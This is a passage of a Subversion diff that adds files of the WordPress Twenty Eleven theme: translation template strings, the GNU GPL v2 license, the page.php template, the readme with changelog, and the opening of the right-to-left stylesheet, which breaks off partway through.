+msgid "https://wordpress.org/"
+msgstr ""
+
+#: footer.php:34
+msgid "Semantic Personal Publishing Platform"
+msgstr ""
+
+#: footer.php:35
+msgid "Proudly powered by %s"
+msgstr ""
+
+#: functions.php:100
+msgid "Blue"
+msgstr ""
+
+#: functions.php:105
+msgid "Black"
+msgstr ""
+
+#: functions.php:110
+msgid "Dark Gray"
+msgstr ""
+
+#: functions.php:115
+msgid "Medium Gray"
+msgstr ""
+
+#: functions.php:120
+msgid "Light Gray"
+msgstr ""
+
+#: functions.php:125
+msgid "White"
+msgstr ""
+
+#: functions.php:142
+msgid "Primary Menu"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:236
+msgid "Wheel"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:242
+msgid "Shore"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:248
+msgid "Trolley"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:254
+msgid "Pine Cone"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:260
+msgid "Chessboard"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:266
+msgid "Lanterns"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:272
+msgid "Willow"
+msgstr ""
+
+#. translators: header image description
+
+#: functions.php:278
+msgid "Hanoi Plant"
+msgstr ""
+
+#: functions.php:530
+msgid "Main Sidebar"
+msgstr ""
+
+#: functions.php:541
+msgid "Showcase Sidebar"
+msgstr ""
+
+#: functions.php:543
+msgid "The sidebar for the optional Showcase Template"
+msgstr ""
+
+#: functions.php:553
+msgid "Footer Area One"
+msgstr ""
+
+#: functions.php:555 functions.php:567 functions.php:579
+msgid "An optional widget area for your site footer"
+msgstr ""
+
+#: functions.php:565
+msgid "Footer Area Two"
+msgstr ""
+
+#: functions.php:577
+msgid "Footer Area Three"
+msgstr ""
+
+#: functions.php:603 single.php:21
+msgid "Post navigation"
+msgstr ""
+
+#: functions.php:604
+msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
+msgstr ""
+
+#: functions.php:605
+msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: functions.php:710
+msgid "Pingback:"
+msgstr ""
+
+#. translators: 1: comment author, 2: date and time
+
+#: functions.php:729
+msgid "%1$s on %2$s <span class=\"says\">said:</span>"
+msgstr ""
+
+#. translators: 1: date, 2: time
+
+#: functions.php:736
+msgid "%1$s at %2$s"
+msgstr ""
+
+#: functions.php:745
+msgid "Your comment is awaiting moderation."
+msgstr ""
+
+#: functions.php:759
+msgid "Reply <span>&darr;</span>"
+msgstr ""
+
+#: functions.php:785
+msgid "<span class=\"sep\">Posted on </span><a href=\"%1$s\" title=\"%2$s\" rel=\"bookmark\"><time class=\"entry-date\" datetime=\"%3$s\">%4$s</time></a><span class=\"by-author\"> <span class=\"sep\"> by </span> <span class=\"author vcard\"><a class=\"url fn n\" href=\"%5$s\" title=\"%6$s\" rel=\"author\">%7$s</a></span></span>"
+msgstr ""
+
+#: header.php:45
+msgid "Page %s"
+msgstr ""
+
+#: header.php:142
+msgid "Main menu"
+msgstr ""
+
+#: header.php:144
+msgid "Skip to primary content"
+msgstr ""
+
+#: header.php:146
+msgid "Skip to secondary content"
+msgstr ""
+
+#: image.php:21
+msgid "Image navigation"
+msgstr ""
+
+#: image.php:22
+msgid "&larr; Previous"
+msgstr ""
+
+#: image.php:23
+msgid "Next &rarr;"
+msgstr ""
+
+#: image.php:34
+msgid "<span class=\"meta-prep meta-prep-entry-date\">Published </span> <span class=\"entry-date\"><abbr class=\"published\" title=\"%1$s\">%2$s</abbr></span> at <a href=\"%3$s\" title=\"Link to full-size image\">%4$s &times; %5$s</a> in <a href=\"%6$s\" title=\"Return to %7$s\" rel=\"gallery\">%8$s</a>"
+msgstr ""
+
+#: inc/theme-options.php:56 inc/theme-options.php:564
+msgid "Color Scheme"
+msgstr ""
+
+#: inc/theme-options.php:62 inc/theme-options.php:589
+msgid "Link Color"
+msgstr ""
+
+#: inc/theme-options.php:63
+msgid "Default Layout"
+msgstr ""
+
+#: inc/theme-options.php:95 inc/theme-options.php:96
+msgid "Theme Options"
+msgstr ""
+
+#: inc/theme-options.php:112
+msgid "Some themes provide customization options that are grouped together on a Theme Options screen. If you change themes, options may change or disappear, as they are theme-specific. Your current theme, Twenty Eleven, provides the following Theme Options:"
+msgstr ""
+
+#: inc/theme-options.php:114
+msgid "<strong>Color Scheme</strong>: You can choose a color palette of \"Light\" (light background with dark text) or \"Dark\" (dark background with light text) for your site."
+msgstr ""
+
+#: inc/theme-options.php:115
+msgid "<strong>Link Color</strong>: You can choose the color used for text links on your site. You can enter the HTML color or hex code, or you can choose visually by clicking the \"Select a Color\" button to pick from a color wheel."
+msgstr ""
+
+#: inc/theme-options.php:116
+msgid "<strong>Default Layout</strong>: You can choose if you want your site&#8217;s default layout to have a sidebar on the left, the right, or not at all."
+msgstr ""
+
+#: inc/theme-options.php:118
+msgid "Remember to click \"Save Changes\" to save any changes you have made to the theme options."
+msgstr ""
+
+#: inc/theme-options.php:120
+msgid "For more information:"
+msgstr ""
+
+#: inc/theme-options.php:121
+msgid "<a href=\"https://codex.wordpress.org/Appearance_Theme_Options_Screen\" target=\"_blank\">Documentation on Theme Options</a>"
+msgstr ""
+
+#: inc/theme-options.php:122
+msgid "<a href=\"https://wordpress.org/support/\" target=\"_blank\">Support Forums</a>"
+msgstr ""
+
+#: inc/theme-options.php:130
+msgid "Overview"
+msgstr ""
+
+#: inc/theme-options.php:152
+msgid "Light"
+msgstr ""
+
+#: inc/theme-options.php:158
+msgid "Dark"
+msgstr ""
+
+#: inc/theme-options.php:183
+msgid "Content on left"
+msgstr ""
+
+#: inc/theme-options.php:188
+msgid "Content on right"
+msgstr ""
+
+#: inc/theme-options.php:193
+msgid "One-column, no sidebar"
+msgstr ""
+
+#: inc/theme-options.php:302
+msgid "Select a Color"
+msgstr ""
+
+#: inc/theme-options.php:305
+msgid "Default color: %s"
+msgstr ""
+
+#: inc/theme-options.php:341
+msgid "%s Theme Options"
+msgstr ""
+
+#: inc/theme-options.php:600
+msgid "Layout"
+msgstr ""
+
+#: inc/widgets.php:23
+msgid "Twenty Eleven Ephemera"
+msgstr ""
+
+#: inc/widgets.php:26
+msgid "Use this widget to list your recent Aside, Status, Quote, and Link posts"
+msgstr ""
+
+#: inc/widgets.php:74
+msgid "Ephemera"
+msgstr ""
+
+#: inc/widgets.php:118 inc/widgets.php:127
+msgid "0 <span class=\"reply\">comments &rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:118 inc/widgets.php:127
+msgid "1 <span class=\"reply\">comment &rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:118 inc/widgets.php:127
+msgid "% <span class=\"reply\">comments &rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:194
+msgid "Title:"
+msgstr ""
+
+#: inc/widgets.php:197
+msgid "Number of posts to show:"
+msgstr ""
+
+#: search.php:18
+msgid "Search Results for: %s"
+msgstr ""
+
+#: search.php:51
+msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
+msgstr ""
+
+#: searchform.php:11 searchform.php:12 searchform.php:13
+msgid "Search"
+msgstr ""
+
+#: showcase.php:83
+msgid "Featured Post"
+msgstr ""
+
+#: showcase.php:160
+msgid "Featuring: %s"
+msgstr ""
+
+#: showcase.php:170
+msgid "Recent Posts"
+msgstr ""
+
+#: sidebar.php:19
+msgid "Archives"
+msgstr ""
+
+#: sidebar.php:26
+msgid "Meta"
+msgstr ""
+
+#: single.php:22
+msgid "<span class=\"meta-nav\">&larr;</span> Previous"
+msgstr ""
+
+#: single.php:23
+msgid "Next <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: tag.php:20
+msgid "Tag Archives: %s"
+msgstr ""
+#. Theme Name of the plugin/theme
+msgid "Twenty Eleven"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "https://wordpress.org/themes/twentyeleven/"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid "The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom \"Ephemera\" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured \"sticky\" posts), and special styles for six different post formats."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
+
+#. Author URI of the plugin/theme
+msgid "https://wordpress.org/"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Showcase Template"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Sidebar Template"
+msgstr ""
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/license.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/license.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/license.txt	(revision 56912)
@@ -0,0 +1,281 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc. 
+              51 Franklin St, Fifth Floor, Boston, MA 02110, USA
+
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/page.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/page.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/page.php	(revision 56912)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * Template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages
+ * and that other 'pages' on your WordPress site will use a
+ * different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php get_template_part( 'content', 'page' ); ?>
+
+					<?php comments_template( '', true ); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/readme.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/readme.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/readme.txt	(revision 56912)
@@ -0,0 +1,149 @@
+=== Twenty Eleven ===
+Contributors: the WordPress team
+Requires at least: WordPress 3.2
+Tested up to: WordPress 5.0
+Stable tag: 3.1
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: blog, one-column, two-columns, left-sidebar, right-sidebar, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, flexible-header, footer-widgets, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready
+
+== Description ==
+The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats.
+
+For more information about Twenty Eleven please go to https://codex.wordpress.org/Twenty_Eleven.
+
+== Installation ==
+
+1. In your admin panel, go to Appearance -> Themes and click the 'Add New' button.
+2. Type in Twenty Eleven in the search form and press the 'Enter' key in your keyboard.
+3. Click on the 'Activate' button to use your new theme right away.
+4. Go to https://codex.wordpress.org/Twenty_Eleven for a guide to customize this theme.
+5. Navigate to Appearance > Customize in your admin panel.
+
+== Copyright ==
+
+Twenty Eleven WordPress Theme, Copyright 2011-2018 WordPress.org & Automattic.com
+Twenty Eleven is Distributed under the terms of the GNU GPL
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation, either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU General Public License for more details.
+
+Twenty Eleven Theme bundles the following third-party resources:
+
+HTML5 Shiv v3.7.0, Copyright 2014 Alexander Farkas
+Licenses: MIT/GPL2
+Source: https://github.com/aFarkas/html5shiv
+
+== Changelog ==
+
+= 3.1 =
+* Released: January 9, 2019
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_3.1
+
+= 3.0 =
+* Released: December 19, 2018
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_3.0
+
+= 2.9 =
+* Released: December 6, 2018
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.9
+
+= 2.8 =
+* Released: May 17, 2018
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.8
+
+= 2.7 =
+* Released: November 14, 2017
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.7
+
+= 2.6 =
+* Released: June 8, 2017
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.6
+
+= 2.5 =
+* Released: August 15, 2016
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.5
+
+= 2.4 =
+* Released: April 12, 2016
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.4
+
+= 2.3 =
+* Released: December 8, 2015
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.3
+
+= 2.2 =
+* Released: August 18, 2015
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.2
+
+= 2.1 =
+* Released: April 23, 2015
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.1
+
+= 2.0 =
+* Released: December 18, 2014
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_2.0
+
+= 1.9 =
+* Released: September 4, 2014
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.9
+
+= 1.8 =
+* Released: May 8, 2014
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.8
+
+= 1.7 =
+* Released: October 24, 2013
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.7
+
+= 1.6 =
+* Released: August 1, 2013
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.6
+
+= 1.5 =
+* Released: December 11, 2012
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.5
+
+= 1.4 =
+* Released: June 13, 2012
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.4
+
+= 1.3 =
+* Released: December 12, 2011
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.3
+
+= 1.2 =
+* Released: July 12, 2011
+
+https://codex.wordpress.org/Twenty_Eleven_Theme_Changelog#Version_1.2
+
+= 1.1 =
+* Released: July 4, 2011
+
+Initial release.
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/rtl.css	(revision 56912)
@@ -0,0 +1,589 @@
+/*
+Theme Name: Twenty Eleven
+
+Adding support for language written in a Right To Left (RTL) direction is easy -
+it's just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+https://codex.wordpress.org/Right_to_Left_Language_Support
+
+*/
+
+/* =Reset reset
+----------------------------------------------- */
+
+caption, th, td {
+	text-align: right;
+}
+
+/* =Structure
+----------------------------------------------- */
+
+body {
+	direction:rtl;
+	unicode-bidi:embed;
+}
+
+/* Showcase */
+.page-template-showcase-php section.recent-posts {
+	float: left;
+	margin: 0 31% 0 0;
+}
+.page-template-showcase-php #main .widget-area {
+	float: right;
+	margin: 0 0 0 -22.15%;
+}
+
+/* One column */
+
+.one-column article.feature-image.small .entry-summary a {
+	left: auto;
+	right: -9%;
+}
+
+/* Simplify the pullquotes and pull styles */
+.one-column.singular .entry-meta .edit-link a {
+	right: 0px;
+	left: auto;
+}
+/* Make sure we have room for our comment avatars */
+.one-column .commentlist > li.comment {
+	margin-left: 0;
+	margin-right: 102px;
+}
+/* Make sure the logo and search form don't collide */
+.one-column #branding #searchform {
+	right: auto;
+	left: 40px;
+}
+/* Talking avatars take up too much room at this size */
+.one-column .commentlist > li.comment {
+	margin-right: 0;
+}
+.one-column .commentlist > li.comment .comment-meta,
+.one-column .commentlist > li.comment .comment-content {
+	margin-right: 0;
+	margin-left: 85px;
+}
+.one-column .commentlist .avatar {
+	right: auto;
+	left: 1.625em;
+}
+.one-column .commentlist .children .avatar {
+	left: auto;
+	right: 2.2em;
+}
+
+/* =Global
+----------------------------------------------- */
+
+/* Text elements */
+p {
+	margin-bottom: 1.625em;
+}
+ul, ol {
+	margin: 0 2.5em 1.625em 0;
+}
+.ltr ul, .ltr ol {
+	margin: 0 0 1.625em 2.5em;
+}
+blockquote {
+	font-family: Arial, sans-serif;
+}
+blockquote em, blockquote i, blockquote cite {
+	font-style: normal;
+}
+
+/* Forms */
+textarea {
+	padding-left: 0;
+	padding-right: 3px;
+}
+input#s {
+	background-position: 97% 6px;
+	padding: 4px 28px 4px 10px;
+}
+#respond #wp-comment-cookies-consent {
+	margin: 0 0 0 10px;
+}
+
+/* Assistive text */
+#access a.assistive-text:focus {
+	left: auto;
+	right: 7.6%;
+}
+
+/* =Header
+----------------------------------------------- */
+
+#site-title {
+	margin-right: 0;
+	margin-left: 270px;
+}
+
+#site-description {
+	margin: 0 0 3.65625em 270px;
+}
+
+/* =Menu
+-------------------------------------------------------------- */
+
+#access {
+	float: right;
+}
+#access ul {
+	margin: 0 -0.8125em 0 0;
+	padding-right: 0;
+}
+#access li {
+	float: right;
+}
+#access ul ul {
+	float: right;
+	left: auto;
+	right: 0;
+}
+#access ul ul ul {
+	left: auto;
+	right: 100%;
+}
+
+/* Search Form */
+#branding #searchform {
+	right: auto;
+	left: 7.6%;
+	text-align: left;
+}
+#branding #s {
+	float: left;
+}
+#branding .only-search + #access div {
+	padding-right: 0;
+	padding-left: 205px;
+}
+
+
+/* =Content
+----------------------------------------------- */
+.entry-title,
+.entry-header .entry-meta {
+	padding-right: 0;
+	padding-left: 76px;
+}
+.entry-content td,
+.comment-content td {
+	padding: 6px 0 6px 10px;
+}
+.page-link span {
+	margin-right: 0;
+	margin-left: 6px;
+}
+.entry-meta .edit-link a {
+	float: left;
+}
+/* Images */
+
+.wp-caption .wp-caption-text,
+.gallery-caption {
+	font-family: Arial, sans-serif;
+}
+.wp-caption .wp-caption-text {
+	padding: 10px 40px 5px 0px;
+}
+.wp-caption .wp-caption-text:before {
+	margin-right: 0;
+	margin-left: 5px;
+	left: auto;
+	right: 10px;
+}
+#content .gallery-columns-4 .gallery-item {
+	padding-right:0;
+	padding-left:2%;
+}
+
+/* Author Info */
+.singular #author-info {
+	margin: 2.2em -35.4% 0 -35.6%;
+}
+#author-avatar {
+	float: right;
+	margin-right: 0;
+	margin-left: -78px;
+}
+#author-description {
+	float: right;
+	margin-left: 0;
+	margin-right: 108px;
+}
+/* Comments link */
+.entry-header .comments-link a {
